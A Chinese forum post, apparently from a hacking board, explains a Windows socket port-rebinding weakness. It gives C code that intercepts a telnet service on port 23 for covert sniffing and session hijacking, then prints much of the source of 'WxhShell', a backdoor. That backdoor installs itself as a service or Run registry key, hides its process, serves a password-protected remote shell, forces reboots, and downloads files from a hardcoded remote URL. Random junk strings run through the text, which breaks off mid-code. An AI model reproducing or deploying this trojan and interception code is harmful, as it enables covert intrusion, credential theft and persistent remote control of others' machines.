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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Fma#`{va  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); \8Yv}wQ  
#nS crs@  
  saddr.sin_family = AF_INET; Y\9zjewc  
?Pt*4NaT;  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); (ZD~Q_O-  
~Z ;.n p(T  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); p3cb_  
]P4?jKI  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 2-@z-XKn  
F@-8J?Hl:  
  这意味着什么?意味着可以进行如下的攻击: 4{ED~w|  
mFuHZ)iQG  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 i[ n3ILn  
}^*m0`H  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) xyi4U(;  
/}3I:aJwb  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 h&EF)~G  
h"ATRr^  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  )1Z @}o 9  
Vx=tP.BO]  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 wF{M"$am  
=5 $BR<'  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 3 E!F8GZ  
a)M3t  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ujeN|W  
d{c06(#_  
  #include #9]O92t2UV  
  #include < *db%{  
  #include `s_k+ g  
  #include    HurF4IsHk  
  DWORD WINAPI ClientThread(LPVOID lpParam);   nM H:7[x3  
  int main() O?qM=W  
  { 8AmB0W> e  
  WORD wVersionRequested; 6JE_rAab  
  DWORD ret; E-HK=D&W/  
  WSADATA wsaData; &bCk`]j:  
  BOOL val; 1<pb=H  
  SOCKADDR_IN saddr; (iu IeJ^Z  
  SOCKADDR_IN scaddr; 'M% uw85  
  int err; Wf-Pa9  
  SOCKET s; Y]+KsiOL  
  SOCKET sc; -;&-b>b  
  int caddsize; _5v]69C#  
  HANDLE mt; Jr,**,wA  
  DWORD tid;   qE{L42  
  wVersionRequested = MAKEWORD( 2, 2 ); k$ w#:Sx  
  err = WSAStartup( wVersionRequested, &wsaData ); 0Q:l,\lY  
  if ( err != 0 ) { Gs(;&fw  
  printf("error!WSAStartup failed!\n"); /*m6-DC  
  return -1; fI-f Gx  
  } Eyg F,>.4  
  saddr.sin_family = AF_INET; v=?/c-J*  
   7y=1\KW(  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 CjmF2[|  
:2AlvjvjZ  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Qsr+f~"W  
  saddr.sin_port = htons(23); (bGk=q=M  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) #c`/ f6z  
  { L?b;TjLe  
  printf("error!socket failed!\n"); x{,W<oXg  
  return -1; FtybF  
  } -}"nb-RR\  
  val = TRUE; HXQ } B$V  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 T)Pr%kF  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) nF=[m; ~  
  { 9]^NAlno  
  printf("error!setsockopt failed!\n"); a- 7RJ.  
  return -1; SnG XEQ  
  } $x(p:+TI\4  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; v)LSH;<  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 r/RX|M  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 v=x)]<E" _  
XiAflO  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) lO8GnkLE  
  { H8qWY"<Vd  
  ret=GetLastError(); )Xice=x9  
  printf("error!bind failed!\n"); :Oi}X7\  
  return -1; a*!9RQ  
  } !.w|+-JKO  
  listen(s,2); =wFl(Q6J  
  while(1) #[sJKW  
  { ,? V YrL  
  caddsize = sizeof(scaddr); 8k?V&J `  
  //接受连接请求 ;H"OZRQ  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 4gn|zSe>^  
  if(sc!=INVALID_SOCKET) O]Q8&(  
  { M~g@y$  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); {R7m qzt  
  if(mt==NULL) 921s'"  
  { cC TTjx{  
  printf("Thread Creat Failed!\n"); ` 6pz9j]  
  break; K,Hxe;-  
  } ,gIeQ!+vy  
  } OwLJS5r@<-  
  CloseHandle(mt); fTd":F  
  } OTmr-l6  
  closesocket(s); Q*R9OF  
  WSACleanup(); qex::Qf  
  return 0;  +Q+!#  
  }   5$/Me=g<  
  DWORD WINAPI ClientThread(LPVOID lpParam) )wk9(|[o  
  { hGo/Ve+@  
  SOCKET ss = (SOCKET)lpParam; SQDc%I>b  
  SOCKET sc; ,sltB3f  
  unsigned char buf[4096]; P$"s*otr  
  SOCKADDR_IN saddr; &IkHP/  
  long num; .Iv`B:4  
  DWORD val; s~g]`/h$r  
  DWORD ret; BXUd i&'O  
  //如果是隐藏端口应用的话,可以在此处加一些判断 A2I\T, Z  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   'o1lJ?~kH  
  saddr.sin_family = AF_INET; Q,R|VI6Co  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); M&0U@ r-  
  saddr.sin_port = htons(23); [m9=e-KS$Q  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 4&H&zST//m  
  { |i- S}M  
  printf("error!socket failed!\n"); 1N+ju"2R  
  return -1; fP{IW`t}]  
  } bl4I4RB  
  val = 100; $A>]lLo0  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) K(_8oB784  
  { k(_^Lq f-  
  ret = GetLastError(); }XRRM:B|)(  
  return -1; B'D~Q  
  } zu``F]B  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) +3?.Vb%jY  
  { @gm!D`YL  
  ret = GetLastError(); z O6Sl[)  
  return -1; a-9sc6@  
  } W7.QK/@  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) l:sfM`Z^[  
  { x^y&<tA  
  printf("error!socket connect failed!\n"); -Vj112 fI  
  closesocket(sc); c5t7X-LB  
  closesocket(ss); 4J$dG l#f  
  return -1; `&SBp }W}  
  } <Mf(2`T  
  while(1) ^P owL:  
  { }*vO&J@z  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 _sF Ad`  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 0#/Pc`z C  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 cfPQcB>A  
  num = recv(ss,buf,4096,0); C.+:FY.H  
  if(num>0) mWH;-F*%  
  send(sc,buf,num,0); *NQsD C.J^  
  else if(num==0) /(Ryh6M  
  break; @0iXqM#jH  
  num = recv(sc,buf,4096,0); u(4o#m  
  if(num>0) V#V<Kz  
  send(ss,buf,num,0); c~ Q 5A  
  else if(num==0) I3dUI~}u  
  break; ='fN xabB  
  } 1|5TuljTd  
  closesocket(ss); N0UZ%,h\  
  closesocket(sc); IUQYoKz4}A  
  return 0 ; ~uEI}z  
  } #;<dtw  
S5wkBdr{  
PAv<J<d  
========================================================== H2E'i\  
-<^3!C >  
下边附上一个代码,,WXhSHELL kl#) 0yqN0  
oN Rp  
========================================================== &p.7SPQ8/  
g715+5z[  
#include "stdafx.h" "mAMfV0  
VPOp#;"%  
#include <stdio.h> VBe&of+  
#include <string.h> }1P v6L(o)  
#include <windows.h> jW]Fx:mQi  
#include <winsock2.h> P.O/ZW>g  
#include <winsvc.h> 0]l9x}  
#include <urlmon.h> BDPF>lPf<  
vPx#TXY=b}  
#pragma comment (lib, "Ws2_32.lib") ;f2<vp;U  
#pragma comment (lib, "urlmon.lib") CV *  
2yndna-  
#define MAX_USER   100 // 最大客户端连接数 $ZnVs@:S  
#define BUF_SOCK   200 // sock buffer G/V0Yn""  
#define KEY_BUFF   255 // 输入 buffer /4,U@s)"/  
n$ZxN"q <  
#define REBOOT     0   // 重启 Xh`Oin}<  
#define SHUTDOWN   1   // 关机 ^Rmrre`uU  
N1X;&qZDd  
#define DEF_PORT   5000 // 监听端口 z2OXCZ*/  
2 m2$jp0  
#define REG_LEN     16   // 注册表键长度 {)& b6}2h  
#define SVC_LEN     80   // NT服务名长度 avxI%%|  
QykHB k  
// 从dll定义API pcPRkYT[ M  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Is }?:ET  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); RH&}'4JE:  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); BmCBC,j<v>  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); qim|=  
5S&^mj-9  
// wxhshell配置信息 uN(N2m  
struct WSCFG { BHZSc(-o  
  int ws_port;         // 监听端口 qnf\K}   
  char ws_passstr[REG_LEN]; // 口令 bs_rw+  
  int ws_autoins;       // 安装标记, 1=yes 0=no !4mAZF b  
  char ws_regname[REG_LEN]; // 注册表键名 *+<H4.W H  
  char ws_svcname[REG_LEN]; // 服务名 D0 rqte  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 &Y$)s<u8.  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 KPdlg.  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 aN~x3G  
int ws_downexe;       // 下载执行标记, 1=yes 0=no anFl:=  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" qgsw8O&  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 s:Z1 ZAxv  
mp17d$R-  
}; 3H,>[&d  
)-S;j)(+  
// default Wxhshell configuration T%1Kh'92  
struct WSCFG wscfg={DEF_PORT, H^8t/h  
    "xuhuanlingzhe", |p":s3K"Hy  
    1, ]d,#PF  
    "Wxhshell", R!7a;J}  
    "Wxhshell", =8x-+u5}rK  
            "WxhShell Service", M pLn)  
    "Wrsky Windows CmdShell Service", .;NoKO7)  
    "Please Input Your Password: ", ??XtN.]7  
  1, wm/>_  
  "http://www.wrsky.com/wxhshell.exe", K${CHKFf  
  "Wxhshell.exe" u %&4[zb  
    }; ~,reS:9RZ  
{aWfD XB1  
// 消息定义模块 ~Ec@hz]js  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; tq5o  
char *msg_ws_prompt="\n\r? for help\n\r#>"; +yIO  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 8Nxyc>8K~  
char *msg_ws_ext="\n\rExit."; *G;D u`;  
char *msg_ws_end="\n\rQuit."; dV+GWJNNE  
char *msg_ws_boot="\n\rReboot..."; W^dRA xVX  
char *msg_ws_poff="\n\rShutdown..."; T( sEk  
char *msg_ws_down="\n\rSave to "; 5fud:k  
8^"P'XQ  
char *msg_ws_err="\n\rErr!"; &}vc^io  
char *msg_ws_ok="\n\rOK!"; >s"kL^  
}o9(Q8  
char ExeFile[MAX_PATH]; [N guQ]B.  
int nUser = 0; <N\#6m  
HANDLE handles[MAX_USER]; / lN09j  
int OsIsNt; EO \@#",a  
 Fs1ms)  
SERVICE_STATUS       serviceStatus; vKNxL^x  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ?iNihE  
Pna2IB+  
// 函数声明 DqlspT  
int Install(void); yy$7{9!  
int Uninstall(void); ekO*(vQ~  
int DownloadFile(char *sURL, SOCKET wsh); Ix'GP7-m_  
int Boot(int flag); }J\KnaKo  
void HideProc(void); 8:t1%O$  
int GetOsVer(void); %'<m[wf^ o  
int Wxhshell(SOCKET wsl); kNTxYJ  
void TalkWithClient(void *cs); R3} Z"  
int CmdShell(SOCKET sock); Qv:J#uVw?O  
int StartFromService(void); y{1|@?ii  
int StartWxhshell(LPSTR lpCmdLine); 4p_@f^v~QH  
HH,G3~EBF  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); p4I6oS`/.  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ~CL^%\K  
1dX)l  
// 数据结构和表定义 kR|(hA,$N  
SERVICE_TABLE_ENTRY DispatchTable[] = z}*74lhF  
{ ;/<J& #2.  
{wscfg.ws_svcname, NTServiceMain}, v0S7 ]?_  
{NULL, NULL} Sh RkL<  
}; ]mmL8%B@_  
H1g"09?h6o  
// 自我安装 U0%m*i  
int Install(void) 0qMf6  
{ OgB ZoTT  
  char svExeFile[MAX_PATH]; E[E[Za^Y  
  HKEY key; RVb}R<yU+  
  strcpy(svExeFile,ExeFile); Z  )dz  
ZVmgQ7m  
// 如果是win9x系统,修改注册表设为自启动 OQZ\/~o 5  
if(!OsIsNt) { EL-1o0 2-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { IEJp!P,E  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); IOi6' 1l  
  RegCloseKey(key); B|+tK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { S)d_A  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~",,&>#[K  
  RegCloseKey(key); )t$|'c}  
  return 0; dsJHhsu6  
    } k!6wVJ|_Y  
  } nFfwVqV  
} &`4v,l^Zi6  
else { k,nRC~Irh  
K# dV.  
// 如果是NT以上系统,安装为系统服务 0q ^dpM  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); +R?d6IjH  
if (schSCManager!=0) _K"X  
{ Dx<CO1%z-  
  SC_HANDLE schService = CreateService :X;AmLf`2u  
  ( /IN/SZx  
  schSCManager, sd~T  
  wscfg.ws_svcname, =!%+ sem  
  wscfg.ws_svcdisp, I7nZ9n|KU  
  SERVICE_ALL_ACCESS, Q.G6 y,KR  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , @7aSq-(_l*  
  SERVICE_AUTO_START, _ s[v:c  
  SERVICE_ERROR_NORMAL, zn|/h,.  
  svExeFile, @}cZxFQ!C  
  NULL, `Dco!ih  
  NULL, kf<5`8  
  NULL, * F T )`  
  NULL, bqDHLoB\1  
  NULL W!BIz&SY:-  
  ); JH0L^p   
  if (schService!=0) W}U-u{Z  
  { W+0VrH 0F  
  CloseServiceHandle(schService); e-#!3j!'  
  CloseServiceHandle(schSCManager); 7}<05 7Xn'  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); s$ 2@|;  
  strcat(svExeFile,wscfg.ws_svcname); @n##.th  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { /hMD Me  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 'M#'BQQ5  
  RegCloseKey(key); |VL(#U  
  return 0; IL]VY1'#  
    } &zYo   
  } ,??%["R  
  CloseServiceHandle(schSCManager); Fhn=}7|4q  
} B)M& FO  
} $}/ !mXI5  
WwF4`kxT  
return 1; S:En9E  
} BEzF'<Z  
93npzpge  
// 自我卸载 ?>W4*8 (  
int Uninstall(void) p ft6 @ 'q  
{ |[VtYV _{  
  HKEY key; >"Z^8J  
bstc|8<  
if(!OsIsNt) { @{Q[M3l  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { u9*}@{,  
  RegDeleteValue(key,wscfg.ws_regname); +0Rr5^8u  
  RegCloseKey(key); 0/."R ;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;_lEu" -  
  RegDeleteValue(key,wscfg.ws_regname); x_oL~~@  
  RegCloseKey(key); }'KVi=qnHb  
  return 0; |QvG;{!  
  } {zc<:^r^  
} e:Zc-  
} 0pS|t/h0  
else { ]r{-K63P{!  
<z*SO a  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); DVNGV   
if (schSCManager!=0) # Pulbk8  
{ @]#0jiS  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); vRLkz4z   
  if (schService!=0) i~dW)7  
  { ''Y}Q"  
  if(DeleteService(schService)!=0) { ?5#Ng,8iT  
  CloseServiceHandle(schService); 64^dy V,;  
  CloseServiceHandle(schSCManager); Ab <4F 7  
  return 0; -k p~p e*T  
  } e4V4%Qw  
  CloseServiceHandle(schService); AT:T%a:G?  
  } d))(hk:  
  CloseServiceHandle(schSCManager); .3%eSbt0  
} :Gh* d)  
} rdsm /^,s  
$Gs&' y R  
return 1; ->oQ,ezB  
} pHFh7-vj  
&rX..l  
// 从指定url下载文件 )K8k3]y&  
int DownloadFile(char *sURL, SOCKET wsh) `MgR/@%hr  
{ `CI9~h@k  
  HRESULT hr; \guZc}V]:\  
char seps[]= "/"; .[hQ#3)W  
char *token; %:n1S]Vr  
char *file; 6rEt!v #K[  
char myURL[MAX_PATH]; *Rv eR?kO  
char myFILE[MAX_PATH]; n<p`OKIV3  
sD$ \!7:b  
strcpy(myURL,sURL); 3,bA&c3  
  token=strtok(myURL,seps); )>atoA  
  while(token!=NULL) EdA_Hf  
  { EOrWax@k$}  
    file=token; ~y}M GUEC  
  token=strtok(NULL,seps); z[DUktZl  
  } PXcpROg56  
oW-Tw@D  
GetCurrentDirectory(MAX_PATH,myFILE); N 5rY*S  
strcat(myFILE, "\\"); cWl)ZE<hM  
strcat(myFILE, file); %Yg;s'F>#q  
  send(wsh,myFILE,strlen(myFILE),0); j=)Cyg3_%  
send(wsh,"...",3,0); z0Vd(QL  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ,9q=2V[GP  
  if(hr==S_OK) sB_o HUMH6  
return 0; !ZbNW4rIP  
else U`JzE"ps]  
return 1; +(5H$O{h  
owTW_V  
} e_+`%A+-  
4:8#&eF  
// 系统电源模块 13.v5v,l  
int Boot(int flag) WIXzxI<)  
{ y6'Fi(2yw  
  HANDLE hToken; H*3f8A&@s  
  TOKEN_PRIVILEGES tkp; ,~FyC_%*  
^ 3LM%B  
  if(OsIsNt) { $=$I^hV  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Z9ciS";L  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); v@;:aN  
    tkp.PrivilegeCount = 1; j-ugsV`2=*  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; tnbaU%;|J  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); S(5.y%"<  
if(flag==REBOOT) { iYA06~ d  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 6hYv  
  return 0; 2](R}  
} !&TbE@Xk  
else { U KF/v  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) qt}vM*0}V  
  return 0; } 1w[G;$  
} A6}M F  
  } jK\2y|&&c  
  else { K;G1cFFyG  
if(flag==REBOOT) { f3U#|(%(*  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) A\ze3fmV  
  return 0; ;u,%an<(  
} |hehROUn  
else { "OFYVK\]i  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 5Ga>qIM  
  return 0; <\?ySto  
} Wt"@?#L  
} n.67f  
iwCnW7:  
return 1; "j3Yu4_ks  
} |Wj)kr !|  
F {]:  
// win9x进程隐藏模块 nG$*[7<0u  
void HideProc(void) *(L4rK\2  
{ 9x&,`95O  
z7MJxjH  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 4r-jpVN~  
  if ( hKernel != NULL ) y<k-dbr  
  { Gu~y/CE'  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); N2;T\xx,  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); |A 7Yv  
    FreeLibrary(hKernel); ]1%H.pF  
  } }f^r@3Cb3  
eGvHU ;@  
return; 9#/z [!  
} <!K2xb-d^  
Y:G6Nd VFM  
// 获取操作系统版本 B8Jev\_  
int GetOsVer(void) 'rHkJ  
{ G=!Y~qg  
  OSVERSIONINFO winfo; q NU\XO`H  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); wsP3hE' ]  
  GetVersionEx(&winfo); BkA>':bUr  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Uk-^n~y  
  return 1; jN 5Hku[?  
  else tHXt*tzq  
  return 0; {{f%w$r(  
} LcE!e%3  
}@4m@_gR?  
// 客户端句柄模块 }0?642 =-  
int Wxhshell(SOCKET wsl) +KDB^{  
{ I5F oh|)  
  SOCKET wsh; h(]O;a-  
  struct sockaddr_in client; 3w ?)H  
  DWORD myID; VGM8&J{o'  
w@nN3U+  
  while(nUser<MAX_USER) Ws4aCH1  
{ W )q^@6[d  
  int nSize=sizeof(client); rYeFYPS  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); rcq(p (!  
  if(wsh==INVALID_SOCKET) return 1; =i Rc&  
?nB).fc  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); f_9%kEXICt  
if(handles[nUser]==0) N|z-s  
  closesocket(wsh); joAR;J  
else wz9V)_V*  
  nUser++; q*@7A6:FV>  
  } 5IBe;o  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); E0>4Q\n{  
@;fdf3ian  
  return 0; ov#/v\|0  
} 4cr >sz  
W4QVWn %3  
// 关闭 socket =! 9+f  
void CloseIt(SOCKET wsh) }a"T7y23  
{ 0D/j2cT("k  
closesocket(wsh); k:Uyez  
nUser--; p44d&9  
ExitThread(0); 6fY(u7m|p  
} hqFK2 lR  
G|'DAj%  
// 客户端请求句柄 '+Gt+Gq+  
void TalkWithClient(void *cs) Y@TZReb  
{ +0.$w  
bh6Mh< +  
  SOCKET wsh=(SOCKET)cs; _V1O =iu-  
  char pwd[SVC_LEN]; b@Ik c<  
  char cmd[KEY_BUFF]; -mO[;lO  
char chr[1]; iwJBhu0@#  
int i,j; E%3WJ%A  
lK9us  
  while (nUser < MAX_USER) { $[VKM|Zjw  
I(s\ Q[  
if(wscfg.ws_passstr) { Od^y&$|_%`  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); SBAq,F'  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); E6NkuBQ((  
  //ZeroMemory(pwd,KEY_BUFF); be$wG O=Ts  
      i=0; E3_e~yu&  
  while(i<SVC_LEN) { 6*S|$lo9B  
^uMy|d  
  // 设置超时 9 vmH$  
  fd_set FdRead; uz&CUvos  
  struct timeval TimeOut; R6h(mPYA  
  FD_ZERO(&FdRead); 8PDt 7 \  
  FD_SET(wsh,&FdRead); <3LyNG.  
  TimeOut.tv_sec=8; KU"? ZI  
  TimeOut.tv_usec=0; y!1%Kqx1,n  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); l-XiQ#-{  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); {uL<$;#i  
<)uUAh  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); hc"+6xc  
  pwd=chr[0]; H"WkyvqXb  
  if(chr[0]==0xd || chr[0]==0xa) { 82YTd(yB  
  pwd=0; $s/N;E!t  
  break; 9-Ikd>9  
  } 0J7[n*~  
  i++; 4G;+ETp  
    } %njX'7^u  
uPsn~>(4  
  // 如果是非法用户,关闭 socket a/NmM)  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); DCPK1ql  
} KCe =$  
.D-}2<z  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); zM|d9TS  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); H(lq=M0~  
..Zuy|?w  
while(1) { 5:hajXd  
aM9^V MOb  
  ZeroMemory(cmd,KEY_BUFF); \%KJ +PJ  
KR^lmN  
      // 自动支持客户端 telnet标准   r'7;:  
  j=0; q^JJ5{36e  
  while(j<KEY_BUFF) { {e/12q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); n (C*LK  
  cmd[j]=chr[0]; GL cf'$l  
  if(chr[0]==0xa || chr[0]==0xd) { =xSFKu*  
  cmd[j]=0; ^Gq4Yr  
  break; I .p26  
  } y{uRh>l  
  j++; drBWo|/  
    } ua0`&,a3I  
WQ\'z?P  
  // 下载文件 %+L:Gm+^g#  
  if(strstr(cmd,"http://")) { f h)Cz)  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); I')URk[  
  if(DownloadFile(cmd,wsh)) 2Y(P hw2%  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~x)Awdlu  
  else QjWv?tm  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `ihlKFX  
  } `pn]jpW9  
  else { K,&)\r kzD  
qmdl:J|?  
    switch(cmd[0]) { }9/30  
  `l9Pk\X[  
  // 帮助 -w1U /o.  
  case '?': { _UT>,c;h  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Dq)V] Zx  
    break; UAFl+d!  
  } .</d$FM JE  
  // 安装 c+f~>AaI  
  case 'i': { #|v\UJ:Pf/  
    if(Install()) 9.m_3"s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S:v]3G  
    else >~){KV1~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R56:}<Y,  
    break; _k\*4K8L  
    } ?_%*{]mt(  
  // 卸载 :UoZ`O~  
  case 'r': { vDV` !JU  
    if(Uninstall()) }N]|zCEj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R 3TdQ6j  
    else *TfXMN ?w  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5n"b$hMF  
    break; 89v9BWF  
    } DxdiXf[j  
  // 显示 wxhshell 所在路径 j5Vyo>  
  case 'p': { :7K cD\fCj  
    char svExeFile[MAX_PATH]; *NS:X7p!V  
    strcpy(svExeFile,"\n\r"); ;2(8&.  
      strcat(svExeFile,ExeFile); - jfZLO4  
        send(wsh,svExeFile,strlen(svExeFile),0); n[|&nv6x  
    break; ZN~:^,PO/  
    } "^fcXV9Wp  
  // 重启 H{VVxj  
  case 'b': { .}&bE1  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 'H`aQt+  
    if(Boot(REBOOT)) e[$=5U~c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8)s}>:}  
    else { &#;vR 0O  
    closesocket(wsh); oTS*k: C'  
    ExitThread(0); luACdC  
    } Obgn?TAVX  
    break; N\ChA]Ck  
    } a[Ah  
  // 关机 vR.=o*!%  
  case 'd': { fW~r%u .y  
